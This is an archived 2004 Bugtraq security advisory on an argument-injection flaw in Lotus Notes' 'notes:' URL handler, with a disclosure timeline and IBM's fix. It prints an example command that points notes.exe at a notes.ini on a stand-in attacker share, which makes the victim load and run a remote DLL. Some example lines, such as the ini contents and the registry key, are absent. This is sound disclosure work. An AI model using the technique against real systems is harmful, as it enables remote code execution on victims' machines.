Lotus Notes URL argument injection vulnerability

From: Jouko Pynnonen (jouko_at_iki.fi)
Date: 06/27/04

  • Next message: Justin Wheeler: "Re: Microsoft and Security"
    Date: Sun, 27 Jun 2004 18:01:50 +0300
    To: bugtraq@securityfocus.com


    Lotus Notes is a groupware/e-mail system developed by Lotus Software.
    Due to its security and collaboration features it's used particularly
    by large organizations, government agencies, etc. IBM estimates it is
    used by 60 million people.

    During the client-side Windows installation of Lotus Notes, a "notes:"
    URL handler is registered in the registry. An argument injection
    attack allows an intruder to pass command line arguments to notes.exe,
    which can lead to execution of arbitrary code.


    The installed registry entry causes any "notes:" URL to be opened with
    notes.exe and the URL passed as the argument. If the URL contains space
    characters, notes.exe takes the characters after that as a second
    command line argument. Any web page can cause notes.exe be started in
    this way by refering to a notes: URL.

    Location of Notes configuration file, notes.ini, can be specified on
    the command line by prefixing it with an equals sign (=). The notes.ini
    file can be located on a network share. An attacker can use the URL to
    specify an arbitrary notes.ini file located on a public network share,
    so that the command run when opening the URL would be e.g.

      notes.exe =\\attacker.server\notes\notes.ini

    The notes.ini file contains locations for Notes data directory, which
    in this case can be also located on a public network share. The
    notes.ini file could contain e.g.


    The program uses this directory to load some dynamic libraries.
    The attacker can place arbitrary code in the init section of such DLL
    and cause it to be run during notes.exe startup. The scenario was
    successfully tested with an exploit. On opening the malicious web
    page, the victim system downloaded the DLL and ran the code in it.

    The exploit requires that notes.exe isn't already running while the
    victim views the malicious web page or e-mail message, because DLL's
    are only loaded on program startup. It also requires that outgoing
    connections to Internet shares aren't blocked by firewalls or registry


    IBM was contacted on March 17, 2004. The fix SPR# KSPR5X6VEA has now
    been released to solve the issue. As a workaround, the registry key


    can be removed.


    The vulnerability was discovered and researched by Jouko Pynnönen,

    Jouko Pynnönen          Web: http://iki.fi/jouko/
    jouko@iki.fi            GSM: +358 41 5504555

  • Next message: Justin Wheeler: "Re: Microsoft and Security"